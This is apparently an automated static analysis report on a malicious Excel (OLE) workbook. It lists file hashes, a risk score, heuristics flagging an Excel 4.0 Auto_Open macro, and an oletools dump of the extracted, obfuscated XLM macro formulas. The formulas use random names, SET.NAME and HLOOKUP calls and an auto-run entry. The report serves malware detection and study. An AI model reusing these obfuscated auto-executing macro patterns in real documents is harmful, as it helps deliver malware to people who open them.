Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 681853e8e104470c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:03 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 3f64e555bc46da98963f6eca7b634a7d SHA-1: ab145eaaeecc46b85a166613de151a186d092249 SHA-256: 681853e8e104470c4533c062e3420f92007848b4bd5479a907067acdcda07be2
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6749 bytes
SHA-256: 6663c0b953e1fe9ef24070744913d5fa75a9b3af5afc9e8ac2847ef0825ca418
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  dfDeTmaYC
' 0018     26 LABEL : Cell Value, String Constant - APUKHJsiVek len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C199 
' 0018     20 LABEL : Cell Value, String Constant - bfUUY len=0 
' 0018     20 LABEL : Cell Value, String Constant - fUhQy len=0 
' 0018     22 LABEL : Cell Value, String Constant - gdqFFhE len=0 
' 0018     25 LABEL : Cell Value, String Constant - HPotsdrzOM len=0 
' 0018     24 LABEL : Cell Value, String Constant - LRpVRoYfx len=0 
' 0018     21 LABEL : Cell Value, String Constant - NSaKtv len=0 
' 0018     21 LABEL : Cell Value, String Constant - oCyAAH len=0 
' 0018     27 LABEL : Cell Value, String Constant - OhbtTIbAPIEi len=0 
' 0018     25 LABEL : Cell Value, String Constant - omDTORayph len=0 
' 0018     23 LABEL : Cell Value, String Constant - pOtORDgg len=0 
' 0018     21 LABEL : Cell Value, String Constant - pVPEAS len=0 
' 0018     22 LABEL : Cell Value, String Constant - sbRpBVJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - tfpiEMFST len=0 
' 0018     26 LABEL : Cell Value, String Constant - ujINzqVGrHG len=0 
' 0018     24 LABEL : Cell Value, String Constant - UwTefPjXX len=0 
' 0018     20 LABEL : Cell Value, String Constant - vclzd len=0 
' 0018     24 LABEL : Cell Value, String Constant - wbjYqHMUu len=0 
' 0018     21 LABEL : Cell Value, String Constant - WGZdIL len=0 
' 0018     20 LABEL : Cell Value, String Constant - YSLbU len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  dfDeTmaYC,P97,"",166.00000000000000000000
'  dfDeTmaYC,P98,"",361.00000000000000000000
'  dfDeTmaYC,C99,"SET.NAME("YSLbU",0+VALUE("0"))",""
'  dfDeTmaYC,P99,"",-740.00000000000000000000
'  dfDeTmaYC,P100,"",506.00000000000000000000
'  dfDeTmaYC,P101,"",642.00000000000000000000
'  dfDeTmaYC,P102,"",-631.00000000000000000000
'  dfDeTmaYC,C103,"SET.NAME("pOtORDgg",YSLbU)",""
'  dfDeTmaYC,C108,"SET.NAME("APUKHJsiVek",YSLbU)",""
'  dfDeTmaYC,C113,"SET.NAME("pVPEAS",COUNTA(vclzd))",""
'  dfDeTmaYC,C118,"SET.NAME("omDTORayph",COUNTA(sbRpBVJ))",""
'  dfDeTmaYC,C122,[],""
'  dfDeTmaYC,C127,"SET.NAME("oCyAAH","")",""
'  dfDeTmaYC,C129,"pOtORDgg",""
'  dfDeTmaYC,C134,"SET.NAME("wbjYqHMUu",HLOOKUP("*",vclzd,pOtORDgg,FALSE))",""
'  dfDeTmaYC,C137,"OhbtTIbAPIEi",""
'  dfDeTmaYC,C141,"SET.NAME("HPotsdrzOM",YSLbU)",""
'  dfDeTmaYC,C143,[],""
'  dfDeTmaYC,C145,"HPotsdrzOM",""
'  dfDeTmaYC,C150,"LRpVRoYfx",""
'  dfDeTmaYC,C153,"WGZdIL",""
'  dfDeTmaYC,C155,"ujINzqVGrHG",""
'  dfDeTmaYC,C157,"SET.NAME("tfpiEMFST",VALUE(HLOOKUP("*",sbRpBVJ,ujINzqVGrHG,FALSE)))",""
'  dfDeTmaYC,C162,"bfUUY",""
'  dfDeTmaYC,C165,"oCyAAH",""
'  dfDeTmaYC,C170,"APUKHJsiVek",""
'  dfDeTmaYC,C175,NEXT(),""
'  dfDeTmaYC,C180,"gdqFFhE",""
'  dfDeTmaYC,C185,[],""
'  dfDeTmaYC,C189,"NSaKtv",""
'  dfDeTmaYC,C191,NEXT(),""
'  dfDeTmaYC,C194,RETURN(),""
'  dfDeTmaYC,C223,"SET.NAME("fUhQy",C99)",""
'  dfDeTmaYC,C227,"vclzd",""
'  dfDeTmaYC,C230,"SET.NAME("sbRpBVJ",R82C15)",""
'  dfDeTmaYC,C232,"SET.NAME("NSaKtv",238)",""
'  dfDeTmaYC,C235,"SET.NAME("UwTefPjXX",3)",""
'  dfDeTmaYC,C237,fUhQy(),""
'  dfDeTmaYC,C238,HALT(),""

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